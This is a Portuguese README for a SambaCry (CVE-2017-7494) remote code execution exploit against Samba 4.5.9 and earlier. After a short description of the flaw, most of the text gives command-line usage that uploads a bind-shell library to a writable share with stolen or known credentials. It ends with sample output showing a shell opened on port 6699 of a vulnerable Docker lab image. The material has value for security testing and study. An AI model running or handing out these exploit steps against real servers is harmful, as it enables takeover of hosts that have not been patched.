Exploração RCE SambaCry para Samba 4.5.9

Samba é uma reimplementação de software livre do protocolo de rede SMB/CIFS. O Samba fornece serviços de arquivo e impressão para vários clientes Microsoft Windows e pode integrar-se com um domínio do Windows Server, seja como Controlador de Domínio (DC) ou como membro do domínio. A partir da versão 4, ele suporta domínios Active Directory e Microsoft Windows NT.

O Samba na versão 4.5.9 e anteriores é vulnerável a uma vulnerabilidade de execução remota de código chamada SambaCry. O CVE-2017-7494 permite que usuários autenticados remotos carreguem uma biblioteca compartilhada em uma pasta compartilhada gravável e realizem ataques de execução de código para assumir o controle de servidores que hospedam serviços Samba vulneráveis.

O Samba 3.x após 3.5.0 e 4.x antes de 4.4.14, 4.5.x antes de 4.5.10 e 4.6.x antes de 4.6.4 não restringe o caminho do arquivo ao usar pipes nomeados do Windows, o que permite que usuários autenticados remotos carreguem uma biblioteca compartilhada em uma pasta compartilhada gravável e executem código arbitrário através de um pipe nomeado manipulado.

Exploração

Use o poetry para configurar o ambiente para esta exploração

pip3 install -r requirements.txt

Depois disso, você pode executá-lo da seguinte forma:

./exploit -t <target> -e libbindshell-samba.so \
             -s <share> -r <location>/libbindshell-samba.so \
             -u <user> -p <password> -P 6699

Por exemplo, se você usar a imagem vulnerável de vulnerables/cve-2017-7494 e quiser executar esta exploração contra ela:

./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699

E você obterá a seguinte saída:

./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>

Créditos

O payload para este projeto, juntamente com o código, foi fortemente inspirado por opsxcq/exploit-CVE-2017-7494.